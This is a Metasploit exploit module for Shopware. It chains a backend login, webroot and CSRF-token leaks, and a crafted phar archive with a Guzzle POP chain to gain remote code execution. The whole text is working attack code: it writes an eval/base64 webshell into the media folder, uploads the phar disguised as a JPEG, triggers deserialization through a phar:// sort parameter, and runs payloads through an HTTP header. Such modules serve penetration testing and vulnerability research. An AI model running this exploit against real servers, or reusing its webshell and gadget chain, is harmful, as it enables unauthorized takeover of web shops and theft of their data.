Shopware createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Shopware createInstanceFromNamedArguments PHP Object Instantiation RCE",
      'Description' => %q(
        This module exploits a php object instantiation vulnerability that can lead to RCE in
        Shopware. An authenticated backend user could exploit the vulnerability.

        The vulnerability exists in the createInstanceFromNamedArguments function, where the code
        insufficiently performs whitelist check which can be bypassed to trigger an object injection.

        An attacker can leverage this to deserialize an arbitrary payload and write a webshell to
        the target system, resulting in remote code execution.

        Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Karim Ouerghemmi',               # original discovery
          'mr_me <[email protected]>',    # patch bypass, rce & msf module
        ],
      'References' =>
        [
          ['CVE', '2017-18357'],                                                                         # not really because we bypassed this patch
          ['URL', 'https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/']      # initial writeup w/ limited exploitation
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "May 09 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
        OptString.new('USERNAME', [true, "Backend username to authenticate with", 'demo']),
        OptString.new('PASSWORD', [false, "Backend password to authenticate with", 'demo'])
      ]
    )
  end

  def do_login
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'backend', 'Login', 'login'),
      'vars_post' => {
        'username' => datastore['username'],
        'password' => datastore['password'],
      }
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    if res.code == 200
      cookie = res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
      if res.nil?
        return
      end
      return cookie
    end
    return
  end

  def get_webroot(cookie)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo', 'info'),
      'cookie' => cookie
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    if res.code == 200
      return res.body.scan(%r{DOCUMENT_ROOT </td><td class="v">(.*) </td></tr>}).flatten.first
    end
    return
  end

  def leak_csrf(cookie)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken', 'generate'),
      'cookie' => cookie
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    if res.code == 200
      if res.headers.include?('X-Csrf-Token')
        return res.headers['X-Csrf-Token']
      end
    end
    return
  end

  def generate_phar(webroot)
    php = Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#{@shll_bd}.php")
    register_file_for_cleanup("#{@shll_bd}.php")
    pop  = "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename\";"
    pop << "s:#{php.length}:\"#{php}\";"
    pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
    pop << "a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHttp\\Cookie\\SetCookie\x00data\";"
    pop << "a:3:{s:5:\"Value\";"
    pop << "s:48:\"<?php eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
    pop << "s:7:\"Expires\";"
    pop << "b:1;"
    pop << "s:7:\"Discard\";"
    pop << "b:0;}}}}"
    file          = Rex::Text.rand_text_alpha_lower(8)
    stub          = "<?php __HALT_COMPILER(); ?>\r\n"
    file_contents = Rex::Text.rand_text_alpha_lower(20)
    file_crc32    = Zlib::crc32(file_contents) & 0xffffffff
    manifest_len  = 40 + pop.length + file.length
    phar  = stub
    phar << [manifest_len].pack('V')              # length of manifest in bytes
    phar << [0x1].pack('V')                       # number of files in the phar
    phar << [0x11].pack('v')                      # api version of the phar manifest
    phar << [0x10000].pack('V')                   # global phar bitmapped flags
    phar << [0x0].pack('V')                       # length of phar alias
    phar << [pop.length].pack('V')                # length of phar metadata
    phar << pop                                   # pop chain
    phar << [file.length].pack('V')               # length of filename in the archive
    phar << file                                  # filename
    phar << [file_contents.length].pack('V')      # length of the uncompressed file contents
    phar << [0x0].pack('V')                       # unix timestamp of file set to Jan 01 1970.
    phar << [file_contents.length].pack('V')      # length of the compressed file contents
    phar << [file_crc32].pack('V')                # crc32 checksum of un-compressed file contents
    phar << [0x1b6].pack('V')                     # bit-mapped file-specific flags
    phar << [0x0].pack('V')                       # serialized File Meta-data length
    phar << file_contents                         # serialized File Meta-data
    phar << [Rex::Text.sha1(phar)].pack('H*')     # signature
    phar << [0x2].pack('V')                       # signiture type
    phar << "GBMB"                                # signature presence
    return phar
  end

  def upload(cookie, csrf_token, phar)
    data = Rex::MIME::Message.new
    data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil, "name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'backend', 'mediaManager', 'upload'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => cookie,
      'headers' => {
        'X-CSRF-Token' => csrf_token
      }
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    if res.code == 200 && res.body =~ /Image is not in a recognized format/i
      return true
    end
    return
  end

  def leak_upload(cookie, csrf_token)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'MediaManager', 'getAlbumMedia'),
      'cookie' => cookie,
      'headers' => {
        'X-CSRF-Token' => csrf_token
      }
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
      bd_path = $1 if res.body =~ /media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
      register_file_for_cleanup("image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg")
      return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
    end
    return
  end

  def trigger_bug(cookie, csrf_token, upload_path)
    sort = {
      "Shopware_Components_CsvIterator" => {
        "filename" => "phar://#{upload_path}",
        "delimiter" => "",
        "header" => ""
      }
    }
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
      'cookie' => cookie,
      'headers' => {
        'X-CSRF-Token' => csrf_token
      },
      'vars_get' => { 'sort' => sort.to_json }
    )
    unless res
      fail_with(Failure::Unreachable, "Connection failed")
    end
    return
  end

  def exec_code
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "media", "#{@shll_bd}.php"),
      'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
    }, 1)
  end

  def check
    cookie = do_login
    if cookie.nil?
      vprint_error "Authentication was unsuccessful"
      return Exploit::CheckCode::Safe
    end
    csrf_token = leak_csrf(cookie)
    if csrf_token.nil?
      vprint_error "Unable to leak the CSRF token"
      return Exploit::CheckCode::Safe
    end
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'backend', 'ProductStream', 'loadPreview'),
      'cookie' => cookie,
      'headers' => { 'X-CSRF-Token' => csrf_token }
    )
    if res.code == 200 && res.body =~ /Shop not found/i
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    @phar_bd  = Rex::Text.rand_text_alpha_lower(8)
    @shll_bd  = Rex::Text.rand_text_alpha_lower(8)
    @header   = Rex::Text.rand_text_alpha_upper(2)
    cookie = do_login
    if cookie.nil?
      fail_with(Failure::NoAccess, "Authentication was unsuccessful")
    end
    print_good("Stage 1 - logged in with #{datastore['username']}: #{cookie}")
    web_root = get_webroot(cookie)
    if web_root.nil?
      fail_with(Failure::Unknown, "Unable to leak the webroot")
    end
    print_good("Stage 2 - leaked the web root: #{web_root}")
    csrf_token = leak_csrf(cookie)
    if csrf_token.nil?
      fail_with(Failure::Unknown, "Unable to leak the CSRF token")
    end
    print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
    phar = generate_phar(web_root)
    print_good("Stage 4 - generated our phar")
    if !upload(cookie, csrf_token, phar)
      fail_with(Failure::Unknown, "Unable to upload phar archive")
    end
    print_good("Stage 5 - uploaded phar")
    upload_path = leak_upload(cookie, csrf_token)
    if upload_path.nil?
      fail_with(Failure::Unknown, "Cannot find phar archive")
    end
    print_good("Stage 6 - leaked phar location: #{upload_path}")
    trigger_bug(cookie, csrf_token, upload_path)
    print_good("Stage 7 - triggered object instantiation!")
    exec_code
  end
end

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